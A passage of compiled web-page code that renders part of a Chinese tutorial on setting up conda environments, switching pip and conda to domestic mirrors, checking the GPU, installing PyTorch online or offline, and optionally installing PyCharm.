list\n"})}),"\n",(0,i.jsx)(e.h4,{id:"\u5220\u9664\u865a\u62df\u73af\u5883\u547d\u4ee4",children:"\u5220\u9664\u865a\u62df\u73af\u5883\u547d\u4ee4"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-bash",children:"conda remove -n env_name --all \n# \u6ce8\uff1aenv_name \u66ff\u6362\u6210\u5bf9\u5e94\u7684\u73af\u5883\u7684\u540d\u79f0\n"})}),"\n",(0,i.jsx)(e.h4,{id:"\u6fc0\u6d3b\u73af\u5883\u547d\u4ee4",children:"\u6fc0\u6d3b\u73af\u5883\u547d\u4ee4"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-bash",children:"conda activate env_name\n# \u6ce8\uff1aenv_name \u66ff\u6362\u6210\u5bf9\u5e94\u7684\u73af\u5883\u7684\u540d\u79f0\n"})}),"\n",(0,i.jsx)(e.h4,{id:"\u9000\u51fa\u5f53\u524d\u73af\u5883",children:"\u9000\u51fa\u5f53\u524d\u73af\u5883"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-bash",children:"conda deactivate\n"})}),"\n",(0,i.jsxs)(e.p,{children:["\u5173\u4e8e\u66f4\u591a\u7684\u547d\u4ee4\uff0c\u6211\u4eec\u53ef\u4ee5\u67e5\u770bAnaconda/miniconda\u5b98\u65b9\u63d0\u4f9b\u7684\u547d\u4ee4\uff0c\u5b98\u7f51\u94fe\u63a5\uff1a",(0,i.jsx)(e.a,{href:"https://docs.conda.io/projects/conda/en/latest/commands.html#conda-general-commands",children:"\u70b9\u51fb\u8fd9\u91cc"})]}),"\n",(0,i.jsx)(e.h3,{id:"step-4\u6362\u6e90",children:"Step 4\uff1a\u6362\u6e90"}),"\n",(0,i.jsxs)(e.p,{children:["\u5728\u5b89\u88c5package\u65f6\uff0c\u6211\u4eec\u7ecf\u5e38\u4f1a\u4f7f\u7528",(0,i.jsx)(e.code,{children:"pip install package_name"}),"\u548c",(0,i.jsx)(e.code,{children:"conda install package_name"})," \u7684\u547d\u4ee4\uff0c\u4f46\u662f\u4e00\u4e9bpackage\u4e0b\u8f7d\u901f\u5ea6\u4f1a\u5f88\u6162\uff0c\u56e0\u6b64\u6211\u4eec\u9700\u8981\u8fdb\u884c\u6362\u6e90\uff0c\u6362\u6210\u56fd\u5185\u6e90\uff0c\u52a0\u5feb\u6211\u4eec\u7684\u4e0b\u8f7d\u901f\u5ea6\u3002\u4ee5\u4e0b\u4fbf\u662f\u4e24\u79cd\u5bf9\u5e94\u65b9\u5f0f\u7684\u6c38\u4e45\u6362\u6e90\u3002\u5982\u679c\u6211\u4eec\u4ec5\u4ec5\u60f3\u4e3a\u5355\u6b21\u4e0b\u8f7d\u6362\u6e90\u53ef\u4ee5\u4f7f\u7528",(0,i.jsx)(e.code,{children:"pip install package_name -i https://pypi.tuna.tsinghua.edu.cn/simple"}),"\u8fdb\u884c\u4e0b\u8f7d\u3002"]}),"\n",(0,i.jsx)(e.h4,{id:"pip\u6362\u6e90",children:"pip\u6362\u6e90"}),"\n",(0,i.jsx)(e.h5,{id:"linux",children:"Linux\uff1a"}),"\n",(0,i.jsxs)(e.p,{children:["Linux\u4e0b\u7684\u6362\u6e90\uff0c\u6211\u4eec\u9996\u5148\u9700\u8981\u5728\u7528\u6237\u76ee\u5f55\u4e0b\u65b0\u5efa\u6587\u4ef6\u5939",(0,i.jsx)(e.code,{children:".pip"}),"\uff0c\u5e76\u4e14\u5728\u6587\u4ef6\u5939\u5185\u65b0\u5efa\u6587\u4ef6",(0,i.jsx)(e.code,{children:"pip.conf"}),"\uff0c\u5177\u4f53\u547d\u4ee4\u5982\u4e0b"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-bash",children:"cd ~\nmkdir .pip/\nvi pip.conf\n"})}),"\n",(0,i.jsxs)(e.p,{children:["\u968f\u540e\uff0c\u6211\u4eec\u9700\u8981\u5728",(0,i.jsx)(e.code,{children:"pip.conf"}),"\u6dfb\u52a0\u4e0b\u65b9\u7684\u5185\u5bb9:"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-bash",children:"[global]\nindex-url = http://pypi.douban.com/simple\n[install]\nuse-mirrors =true\nmirrors =http://pypi.douban.com/simple/\ntrusted-host =pypi.douban.com\n"})}),"\n",(0,i.jsx)(e.h5,{id:"windows",children:"Windows\uff1a"}),"\n",(0,i.jsxs)(e.p,{children:["1\u3001\u6587\u4ef6\u7ba1\u7406\u5668\u6587\u4ef6\u8def\u5f84\u5730\u5740\u680f\u6572\uff1a",(0,i.jsx)(e.code,{children:"%APPDATA%"})," \u56de\u8f66\uff0c\u5feb\u901f\u8fdb\u5165 ",(0,i.jsx)(e.code,{children:"C:\\Users\\\u7535\u8111\u7528\u6237\\AppData\\Roaming"})," \u6587\u4ef6\u5939\u4e2d\n2\u3001\u65b0\u5efa pip \u6587\u4ef6\u5939\u5e76\u5728\u6587\u4ef6\u5939\u4e2d\u65b0\u5efa ",(0,i.jsx)(e.code,{children:"pip.ini"})," \u914d\u7f6e\u6587\u4ef6\n3\u3001\u6211\u4eec\u9700\u8981\u5728",(0,i.jsx)(e.code,{children:"pip.ini"})," \u914d\u7f6e\u6587\u4ef6\u5185\u5bb9\uff0c\u6211\u4eec\u53ef\u4ee5\u9009\u62e9\u4f7f\u7528\u8bb0\u4e8b\u672c\u6253\u5f00\uff0c\u8f93\u5165\u4ee5\u4e0b\u5185\u5bb9\uff0c\u5e76\u6309\u4e0bctrl+s\u4fdd\u5b58\uff0c\u5728\u8fd9\u91cc\u6211\u4eec\u4f7f\u7528\u7684\u662f\u8c46\u74e3\u6e90\u4e3a\u4f8b\u5b50\u3002"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-bash",children:"[global]\nindex-url = http://pypi.douban.com/simple\n[install]\nuse-mirrors =true\nmirrors =http://pypi.douban.com/simple/\ntrusted-host =pypi.douban.com\n"})}),"\n",(0,i.jsxs)(e.h4,{id:"conda\u6362\u6e90\u6e05\u534e\u6e90\u5b98\u65b9\u6362\u6e90\u5e2e\u52a9",children:["conda\u6362\u6e90\uff08\u6e05\u534e\u6e90\uff09",(0,i.jsx)(e.a,{href:"https://mirrors.tuna.tsinghua.edu.cn/help/anaconda/",children:"\u5b98\u65b9\u6362\u6e90\u5e2e\u52a9"})]}),"\n",(0,i.jsx)(e.h5,{id:"windows\u7cfb\u7edf",children:"Windows\u7cfb\u7edf\uff1a"}),"\n",(0,i.jsxs)(e.p,{children:["TUNA \u63d0\u4f9b\u4e86 Anaconda \u4ed3\u5e93\u4e0e\u7b2c\u4e09\u65b9\u6e90\u7684\u955c\u50cf\uff0c\u5404\u7cfb\u7edf\u90fd\u53ef\u4ee5\u901a\u8fc7\u4fee\u6539\u7528\u6237\u76ee\u5f55\u4e0b\u7684 ",(0,i.jsx)(e.code,{children:".condarc"})," \u6587\u4ef6\u3002Windows \u7528\u6237\u65e0\u6cd5\u76f4\u63a5\u521b\u5efa\u540d\u4e3a ",(0,i.jsx)(e.code,{children:".condarc"})," \u7684\u6587\u4ef6\uff0c\u53ef\u5148\u6267\u884c",(0,i.jsx)(e.code,{children:"conda config --set show_channel_urls yes"}),"\u751f\u6210\u8be5\u6587\u4ef6\u4e4b\u540e\u518d\u4fee\u6539\u3002"]}),"\n",(0,i.jsxs)(e.p,{children:["\u5b8c\u6210\u8fd9\u4e00\u6b65\u540e\uff0c\u6211\u4eec\u9700\u8981\u4fee\u6539",(0,i.jsx)(e.code,{children:"C:\\Users\\User_name\\.condarc"}),"\u8fd9\u4e2a\u6587\u4ef6\uff0c\u6253\u5f00\u540e\u5c06\u6587\u4ef6\u91cc\u539f\u59cb\u5185\u5bb9\u5220\u9664\uff0c\u5c06\u4e0b\u9762\u7684\u5185\u5bb9\u590d\u5236\u8fdb\u53bb\u5e76\u4fdd\u5b58\u3002"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-bash",children:"channels:\n - defaults\nshow_channel_urls: true\ndefault_channels:\n - https://mirrors.tuna.tsinghua.edu.cn/anaconda/pkgs/main\n - https://mirrors.tuna.tsinghua.edu.cn/anaconda/pkgs/r\n - https://mirrors.tuna.tsinghua.edu.cn/anaconda/pkgs/msys2\ncustom_channels:\n conda-forge: https://mirrors.tuna.tsinghua.edu.cn/anaconda/cloud\n msys2: https://mirrors.tuna.tsinghua.edu.cn/anaconda/cloud\n bioconda: https://mirrors.tuna.tsinghua.edu.cn/anaconda/cloud\n menpo: https://mirrors.tuna.tsinghua.edu.cn/anaconda/cloud\n pytorch: https://mirrors.tuna.tsinghua.edu.cn/anaconda/cloud\n simpleitk: https://mirrors.tuna.tsinghua.edu.cn/anaconda/cloud\n"})}),"\n",(0,i.jsxs)(e.p,{children:["\u8fd9\u4e00\u6b65\u5b8c\u6210\u540e\uff0c\u6211\u4eec\u9700\u8981\u6253\u5f00",(0,i.jsx)(e.code,{children:"Anaconda Prompt"})," \u8fd0\u884c ",(0,i.jsx)(e.code,{children:"conda clean -i"})," \u6e05\u9664\u7d22\u5f15\u7f13\u5b58\uff0c\u4fdd\u8bc1\u7528\u7684\u662f\u955c\u50cf\u7ad9\u63d0\u4f9b\u7684\u7d22\u5f15\u3002"]}),"\n",(0,i.jsx)(e.h5,{id:"linux\u7cfb\u7edf",children:"Linux\u7cfb\u7edf\uff1a"}),"\n",(0,i.jsxs)(e.p,{children:["\u5728Linux\u7cfb\u7edf\u4e0b\uff0c\u6211\u4eec\u8fd8\u662f\u9700\u8981\u4fee\u6539",(0,i.jsx)(e.code,{children:".condarc"}),"\u6765\u8fdb\u884c\u6362\u6e90"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-bash",children:"cd ~\nvi .condarc\n"})}),"\n",(0,i.jsxs)(e.p,{children:["\u5728",(0,i.jsx)(e.code,{children:"vim"}),"\u4e0b\uff0c\u6211\u4eec\u9700\u8981\u8f93\u5165",(0,i.jsx)(e.code,{children:"i"}),"\u8fdb\u5165\u7f16\u8f91\u6a21\u5f0f\uff0c\u5c06\u4e0a\u65b9\u5185\u5bb9\u7c98\u8d34\u8fdb\u53bb\uff0c\u6309",(0,i.jsx)(e.code,{children:"ESC"}),"\u9000\u51fa\u7f16\u8f91\u6a21\u5f0f\uff0c\u8f93\u5165",(0,i.jsx)(e.code,{children:":wq"}),"\u4fdd\u5b58\u5e76\u9000\u51fa"]}),"\n",(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{alt:"\u6362\u6e90\u5185\u5bb9",src:s(5956).A+"",width:"1216",height:"813"})}),"\n",(0,i.jsxs)(e.p,{children:["\u6211\u4eec\u53ef\u4ee5\u901a\u8fc7",(0,i.jsx)(e.code,{children:"conda config --show default_channels"}),"\u68c0\u67e5\u4e0b\u662f\u5426\u6362\u6e90\u6210\u529f\uff0c\u5982\u679c\u51fa\u73b0\u4e0b\u56fe\u5185\u5bb9\uff0c\u5373\u4ee3\u8868\u6211\u4eec\u6362\u6e90\u6210\u529f\u3002"]}),"\n",(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:s(87704).A+"",width:"1213",height:"798"})}),"\n",(0,i.jsxs)(e.p,{children:["\u540c\u65f6\uff0c\u6211\u4eec\u4ecd\u7136\u9700\u8981",(0,i.jsx)(e.code,{children:"conda clean -i"})," \u6e05\u9664\u7d22\u5f15\u7f13\u5b58\uff0c\u4fdd\u8bc1\u7528\u7684\u662f\u955c\u50cf\u7ad9\u63d0\u4f9b\u7684\u7d22\u5f15\u3002"]}),"\n",(0,i.jsx)(e.h2,{id:"122-\u67e5\u770b\u663e\u5361",children:"1.2.2 \u67e5\u770b\u663e\u5361"}),"\n",(0,i.jsx)(e.p,{children:"\u8be5\u90e8\u5206\u5982\u679c\u4ec5\u4ec5\u53ea\u6709CPU\u6216\u8005\u96c6\u663e\u7684\u5c0f\u4f19\u4f34\u4eec\u53ef\u4ee5\u8df3\u8fc7\u8be5\u90e8\u5206"}),"\n",(0,i.jsx)(e.h3,{id:"windows-1",children:"windows\uff1a"}),"\n",(0,i.jsxs)(e.p,{children:["\u6211\u4eec\u53ef\u4ee5\u901a\u8fc7\u5728",(0,i.jsx)(e.code,{children:"cmd/terminal\u4e2d"}),"\u8f93\u5165",(0,i.jsx)(e.code,{children:"nvidia-smi"}),"\uff08Linux\u548cWin\u547d\u4ee4\u4e00\u6837\uff09\u3001\u4f7f\u7528NVIDIA\u63a7\u5236\u9762\u677f\u548c\u4f7f\u7528\u4efb\u52a1\u7ba1\u7406\u5668\u67e5\u770b\u81ea\u5df1\u662f\u5426\u6709NVIDIA\u7684\u72ec\u7acb\u663e\u5361\u53ca\u5176\u578b\u53f7"]}),"\n",(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{alt:"\u67e5\u770bGPU",src:s(50542).A+"",width:"834",height:"742"})}),"\n",(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{alt:"\u67e5\u770b\u663e\u5361",src:s(36579).A+"",width:"958",height:"710"})}),"\n",(0,i.jsx)(e.h3,{id:"linux-1",children:"linux\uff1a"}),"\n",(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{alt:"Linux\u67e5\u770bGPU",src:s(7721).A+"",width:"1330",height:"833"})}),"\n",(0,i.jsx)(e.p,{children:"\u6211\u4eec\u9700\u8981\u770b\u4e0b\u7248\u672c\u53f7\uff0c\u770b\u81ea\u5df1\u53ef\u4ee5\u517c\u5bb9\u7684CUDA\u7248\u672c\uff0c\u7b49\u4f1a\u5b89\u88c5PyTorch\u65f6\u662f\u53ef\u4ee5\u5411\u4e0b\u517c\u5bb9\u7684\u3002\u5177\u4f53\u9002\u914d\u8868\u5982\u4e0b\u56fe\u6240\u793a\u3002"}),"\n",(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{alt:"\u9002\u914d\u8868",src:s(64936).A+"",width:"801",height:"644"})}),"\n",(0,i.jsx)(e.h2,{id:"123-\u5b89\u88c5pytorch",children:"1.2.3 \u5b89\u88c5PyTorch"}),"\n",(0,i.jsxs)(e.h3,{id:"step-1\u767b\u5f55pytorch\u5b98\u7f51",children:["Step 1\uff1a\u767b\u5f55",(0,i.jsx)(e.a,{href:"https://pytorch.org/",children:"PyTorch\u5b98\u7f51"})]}),"\n",(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:s(45846).A+"",width:"1924",height:"943"})}),"\n",(0,i.jsx)(e.h3,{id:"step-2install",children:"Step 2\uff1aInstall"}),"\n",(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:s(82082).A+"",width:"1443",height:"461"})}),"\n",(0,i.jsx)(e.p,{children:"\u8fd9\u4e2a\u754c\u9762\u6211\u4eec\u53ef\u4ee5\u9009\u62e9\u672c\u5730\u5f00\u59cb\uff08Start Locally\uff09\uff0c\u4e91\u5f00\u53d1\uff08Cloud Partners)\uff0c\u4ee5\u524d\u7684Pytorch\u7248\u672c\uff08Previous PyTorch Versions\uff09\uff0c\u79fb\u52a8\u7aef\u5f00\u53d1\uff08Mobile\uff09\uff0c\u5728\u6b64\u5904\u6211\u4eec\u9700\u8981\u8fdb\u884c\u672c\u5730\u5b89\u88c5\u3002"}),"\n",(0,i.jsx)(e.h3,{id:"step-3\u9009\u62e9\u547d\u4ee4",children:"Step 3\uff1a\u9009\u62e9\u547d\u4ee4"}),"\n",(0,i.jsx)(e.p,{children:"\u6211\u4eec\u9700\u8981\u7ed3\u5408\u81ea\u5df1\u60c5\u51b5\u9009\u62e9\u547d\u4ee4\u5e76\u590d\u5236\u4e0b\u6765\uff0c\u7136\u540e\u4f7f\u7528conda\u4e0b\u8f7d\u6216\u8005pip\u4e0b\u8f7d\uff08\u5efa\u8baeconda\u5b89\u88c5\uff09"}),"\n",(0,i.jsxs)(e.p,{children:["\u6253\u5f00",(0,i.jsx)(e.code,{children:"Terminal"}),"\uff0c\u8f93\u5165",(0,i.jsx)(e.code,{children:"conda activate env_name"}),"(env_name \u4e3a\u4f60\u5bf9\u5e94\u7684\u73af\u5883\u540d\u79f0)\uff0c\u5207\u6362\u5230\u5bf9\u5e94\u7684\u73af\u5883\u4e0b\u9762\uff0c\u6211\u4eec\u5c31\u53ef\u4ee5\u8fdb\u884cPyTorch\u7684\u5b89\u88c5\u4e86\u3002"]}),"\n",(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:s(64610).A+"",width:"1484",height:"894"})}),"\n",(0,i.jsxs)(e.p,{children:[(0,i.jsx)(e.strong,{children:"\u6ce8"}),"\uff1a"]}),"\n",(0,i.jsxs)(e.ol,{children:["\n",(0,i.jsxs)(e.li,{children:["\n",(0,i.jsxs)(e.p,{children:[(0,i.jsx)(e.strong,{children:"Stable"}),"\u4ee3\u8868\u7684\u662f\u7a33\u5b9a\u7248\u672c\uff0c",(0,i.jsx)(e.strong,{children:"Preview"}),"\u4ee3\u8868\u7684\u662f\u5148\u884c\u7248\u672c"]}),"\n"]}),"\n",(0,i.jsxs)(e.li,{children:["\n",(0,i.jsx)(e.p,{children:"\u53ef\u4ee5\u7ed3\u5408\u7535\u8111\u662f\u5426\u6709\u663e\u5361\uff0c\u9009\u62e9CPU\u7248\u672c\u8fd8\u662fCUDA\u7248\u672c\uff0cCUDA\u7248\u672c\u9700\u8981\u62e5\u6709\u72ec\u663e\u4e14\u662fNVIDIA\u7684GPU"}),"\n"]}),"\n",(0,i.jsxs)(e.li,{children:["\n",(0,i.jsxs)(e.p,{children:["\u5b98\u65b9\u5efa\u8bae\u6211\u4eec\u4f7f\u7528",(0,i.jsx)(e.strong,{children:"Anaconda/miniconda"}),"\u6765\u8fdb\u884c\u7ba1\u7406"]}),"\n"]}),"\n",(0,i.jsxs)(e.li,{children:["\n",(0,i.jsx)(e.p,{children:"\u5173\u4e8e\u5b89\u88c5\u7684\u7cfb\u7edf\u8981\u6c42"}),"\n",(0,i.jsxs)(e.ol,{children:["\n",(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.strong,{children:"Windows"}),"\uff1a\n",(0,i.jsxs)(e.ol,{children:["\n",(0,i.jsx)(e.li,{children:"Windows 7\u53ca\u66f4\u9ad8\u7248\u672c\uff1b\u5efa\u8bae\u4f7f\u7528Windows 10\u6216\u8005\u66f4\u9ad8\u7684\u7248\u672c"}),"\n",(0,i.jsx)(e.li,{children:"Windows Server 2008 r2 \u53ca\u66f4\u9ad8\u7248\u672c"}),"\n"]}),"\n"]}),"\n",(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.strong,{children:"Linux\uff1a\u4ee5\u5e38\u89c1\u7684CentOS\u548cUbuntu\u4e3a\u4f8b"}),"\n",(0,i.jsxs)(e.ol,{children:["\n",(0,i.jsx)(e.li,{children:"CentOS, \u6700\u4f4e\u7248\u672c7.3-1611"}),"\n",(0,i.jsx)(e.li,{children:"Ubuntu, \u6700\u4f4e\u7248\u672c 13.04\uff0c\u8fd9\u91cc\u4f1a\u5bfc\u81f4cuda\u5b89\u88c5\u7684\u6700\u5927\u7248\u672c\u4e0d\u540c"}),"\n"]}),"\n"]}),"\n",(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.strong,{children:"macOS"}),"\uff1a\n",(0,i.jsxs)(e.ol,{children:["\n",(0,i.jsx)(e.li,{children:"macOS 10.10\u53ca\u5176\u4ee5\u4e0a"}),"\n"]}),"\n"]}),"\n"]}),"\n"]}),"\n",(0,i.jsxs)(e.li,{children:["\n",(0,i.jsxs)(e.p,{children:["\u6709\u4e9b\u7535\u8111\u6240\u652f\u6301\u7684cuda\u7248\u672c<10.2\uff0c\u6b64\u65f6\u6211\u4eec\u9700\u8981\u8fdb\u884c\u624b\u52a8\u964d\u7ea7\uff0c\u5373\u5c31\u662fcudatoolkit = \u4f60\u6240\u9002\u5408\u7684\u7248\u672c\uff0c\u4f46\u662f\u8fd9\u91cc\u9700\u8981\u6ce8\u610f\u4e0b\u4e00\u5b9a\u8981\u4fdd\u6301PyTorch\u548ccudatoolkit\u7684\u7248\u672c\u9002\u914d\u3002\u67e5\u770b",(0,i.jsx)(e.a,{href:"https://pytorch.org/get-started/previous-versions/",children:"Previous PyTorch Versions | PyTorch"})]}),"\n"]}),"\n"]}),"\n",(0,i.jsx)(e.h3,{id:"step-4\u5728\u7ebf\u4e0b\u8f7d",children:"Step 4\uff1a\u5728\u7ebf\u4e0b\u8f7d"}),"\n",(0,i.jsxs)(e.p,{children:["\u5982\u679c\u6211\u4eec\u4f7f\u7528\u7684",(0,i.jsx)(e.code,{children:"Anaconda Prompt"}),"\u8fdb\u884c\u4e0b\u8f7d\u7684\u8bdd\uff0c\u6211\u4eec\u9700\u8981\u5148\u901a\u8fc7",(0,i.jsx)(e.code,{children:"conda activate env_name"}),"\uff0c\u6fc0\u6d3b\u6211\u4eec\u7684\u865a\u62df\u73af\u5883\u4e2d\u53bb\uff0c\u518d\u8f93\u5165\u547d\u4ee4\u3002"]}),"\n",(0,i.jsxs)(e.p,{children:[(0,i.jsx)(e.strong,{children:"\u6ce8"}),": \u6211\u4eec\u9700\u8981\u8981\u628a\u4e0b\u8f7d\u6307\u4ee4\u540e\u9762\u7684 -c pytorch \u53bb\u6389\u4ee5\u4fdd\u8bc1\u4f7f\u7528\u6e05\u534e\u6e90\u4e0b\u8f7d\uff0c\u5426\u5219\u8fd8\u662f\u9ed8\u8ba4\u4ece\u5b98\u7f51\u4e0b\u8f7d\u3002"]}),"\n",(0,i.jsx)(e.h3,{id:"step-5\u79bb\u7ebf\u4e0b\u8f7d",children:"Step 5\uff1a\u79bb\u7ebf\u4e0b\u8f7d"}),"\n",(0,i.jsx)(e.h4,{id:"windows-2",children:"Windows\uff1a"}),"\n",(0,i.jsxs)(e.p,{children:["\u5728\u5b89\u88c5\u7684\u8fc7\u7a0b\u4e2d\uff0c\u6211\u4eec\u53ef\u80fd\u4f1a\u51fa\u73b0\u4e00\u4e9b\u5947\u5947\u602a\u602a\u7684\u95ee\u9898\uff0c\u5bfc\u81f4\u5728\u7ebf\u4e0b\u8f7d\u4e0d\u6210\u529f\uff0c\u6211\u4eec\u4e5f\u53ef\u4ee5\u4f7f\u7528",(0,i.jsx)(e.strong,{children:"\u79bb\u7ebf\u4e0b\u8f7d"}),"\u7684\u65b9\u6cd5\u8fdb\u884c\u3002"]}),"\n",(0,i.jsxs)(e.p,{children:[(0,i.jsx)(e.strong,{children:"\u4e0b\u8f7d\u5730\u5740"}),"\uff1a",(0,i.jsx)(e.a,{href:"https://mirrors.tuna.tsinghua.edu.cn/anaconda/cloud/pytorch/",children:"https://mirrors.tuna.tsinghua.edu.cn/anaconda/cloud/pytorch/"})]}),"\n",(0,i.jsxs)(e.p,{children:["\u901a\u8fc7\u4e0a\u9762\u4e0b\u8f7d\u5730\u5740\uff0c\u6211\u4eec\u9700\u8981\u4e0b\u8f7d\u597d\u5bf9\u5e94\u7248\u672c\u7684pytorch\u548c torchvision \u5305\uff0c\u7136\u540e\u6253\u5f00",(0,i.jsx)(e.code,{children:"Anaconda Prompt"}),"/",(0,i.jsx)(e.code,{children:"Terminal"}),"\u4e2d\uff0c\u8fdb\u5165\u6211\u4eec\u5b89\u88c5\u7684\u8def\u5f84\u4e0b\u3002"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-bash",children:"cd package_location\nconda activate env_name\n"})}),"\n",(0,i.jsx)(e.p,{children:"\u63a5\u4e0b\u6765\u8f93\u5165\u4ee5\u4e0b\u547d\u4ee4\u5b89\u88c5\u4e24\u4e2a\u5305"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-bash",children:"conda install --offline pytorch\u538b\u7f29\u5305\u7684\u5168\u79f0\uff08\u540e\u7f00\u90fd\u4e0d\u80fd\u5fd8\u8bb0\uff09\nconda install --offline torchvision\u538b\u7f29\u5305\u7684\u5168\u79f0\uff08\u540e\u7f00\u90fd\u4e0d\u80fd\u5fd8\u8bb0\uff09\n"})}),"\n",(0,i.jsx)(e.h4,{id:"step-6\u68c0\u9a8c\u662f\u5426\u5b89\u88c5\u6210\u529f",children:"Step 6\uff1a\u68c0\u9a8c\u662f\u5426\u5b89\u88c5\u6210\u529f"}),"\n",(0,i.jsxs)(e.p,{children:["\u8fdb\u5165\u6240\u5728\u7684",(0,i.jsx)(e.strong,{children:"\u865a\u62df\u73af\u5883"}),"\uff0c\u7d27\u63a5\u7740\u8f93\u5165",(0,i.jsx)(e.code,{children:"python"}),"\uff0c\u5728\u8f93\u5165\u4e0b\u9762\u7684\u4ee3\u7801\u3002"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-python",children:"import torch\n\ntorch.cuda.is_available()\n"})}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-bash",children:"False\n"})}),"\n",(0,i.jsxs)(e.p,{children:["\u8fd9\u6761\u547d\u4ee4\u610f\u601d\u662f\u68c0\u9a8c\u662f\u5426\u53ef\u4ee5\u8c03\u7528cuda\uff0c\u5982\u679c\u6211\u4eec",(0,i.jsx)(e.strong,{children:"\u5b89\u88c5\u7684\u662fCPU\u7248\u672c\u7684\u8bdd\u4f1a\u8fd4\u56deFalse\uff0c\u80fd\u591f\u8c03\u7528GPU\u7684\u4f1a\u8fd4\u56deTrue"}),"\u3002\u4e00\u822c\u8fd9\u4e2a\u547d\u4ee4\u4e0d\u62a5\u9519\u7684\u8bdd\u5c31\u8bc1\u660e\u5b89\u88c5\u6210\u529f\u3002"]}),"\n",(0,i.jsxs)(e.ul,{children:["\n",(0,i.jsx)(e.li,{children:"Windows\u7cfb\u7edf"}),"\n"]}),"\n",(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{alt:"\u9a8c\u8bc1\u5b89\u88c5",src:s(42926).A+"",width:"1468",height:"766"})}),"\n",(0,i.jsxs)(e.ul,{children:["\n",(0,i.jsx)(e.li,{children:"Linux\u7cfb\u7edf"}),"\n"]}),"\n",(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:s(48971).A+"",width:"1218",height:"811"})}),"\n",(0,i.jsx)(e.p,{children:"PyTorch\u7684\u5b89\u88c5\u7edd\u5bf9\u662f\u4e00\u4e2a\u5bb9\u6613\u4e0a\u706b\u7684\u8fc7\u7a0b\uff0c\u800c\u4e14\u7f51\u7edc\u4e0a\u7684\u6559\u7a0b\u5f88\u53ef\u80fd\u5bf9\u5e94\u65e9\u671f\u7684\u7248\u672c\uff0c\u6216\u662f\u4f1a\u51fa\u73b0\u4e00\u4e9b\u5947\u5947\u602a\u602a\u7684\u95ee\u9898\uff0c\u4f46\u662f\u522b\u62c5\u5fc3\uff0c\u591a\u88c5\u51e0\u6b21\u591a\u9047\u5230\u70b9\u5947\u5947\u602a\u602a\u7684\u95ee\u9898\u5c31\u597d\u4e86\uff01"}),"\n",(0,i.jsx)(e.h2,{id:"124-pycharm\u5b89\u88c5\u53ef\u9009\u64cd\u4f5c",children:"1.2.4 PyCharm\u5b89\u88c5\uff08\u53ef\u9009\u64cd\u4f5c\uff09"}),"\n",(0,i.jsx)(e.p,{children:"VSCode\u8fd9\u4e9b\u4e5f\u662fok\u7684\uff0c\u5b89\u88c5PyCharm\u975e\u5fc5\u987b\u64cd\u4f5c"}),"\n",(0,i.jsx)(e.p,{children:"Linux\uff0cWindows\u6b64\u5904\u64cd\u4f5c\u76f8\u540c\uff0c\u6211\u4eec\u5efa\u8baeWindows\u7684\u540c\u5b66\u5b89\u88c5Pycharm\u5373\u53ef\uff0c\u56e0\u4e3a\u5728Linux\u4e0apycharm\u5e76\u4e0d\u662f\u4e3b\u6d41\u7684IDE\u3002"}),"\n",(0,i.jsxs)(e.h3,{id:"step-1\u8fdb\u5165\u5b98\u7f51\u4e0b\u8f7d",children:["Step 1\uff1a\u8fdb\u5165",(0,i.jsx)(e.a,{href:"https://www.jetbrains.com/pycharm/",children:"\u5b98\u7f51"}),"\u4e0b\u8f7d"]}),"\n",(0,i.jsx)(e.p,{children:"\u5982\u679c\u662f\u5b66\u751f\u7684\u8bdd\u53ef\u4ee5\u4f7f\u7528\u5b66\u751f\u90ae\u7bb1\u6ce8\u518c\u5e76\u4e0b\u8f7dProfessional\u7248\u672c\uff0cCommunity\u7248\u672c\u4e5f\u57fa\u672c\u80fd\u6ee1\u8db3\u6211\u4eec\u7684\u65e5\u5e38\u9700\u6c42\u3002"}),"\n",(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{alt:"Pycharm\u5b89\u88c5",src:s(40862).A+"",width:"1903",height:"933"})}),"\n",(0,i.jsx)(e.h3,{id:"step-2\u914d\u7f6e\u73af\u5883",children:"Step 2\uff1a\u914d\u7f6e\u73af\u5883"}),"\n",(0,i.jsx)(e.p,{children:"\u6211\u4eec\u9700\u8981\u5c06\u865a\u62df\u73af\u5883\u8bbe\u4e3a\u6211\u4eec\u7684\u7f16\u8bd1\u5668\uff0c\u5177\u4f53\u64cd\u4f5c\uff1aFile --\x3e Settings --\x3e Project:\u4f60\u7684\u9879\u76ee\u540d\u79f0--\x3e Python 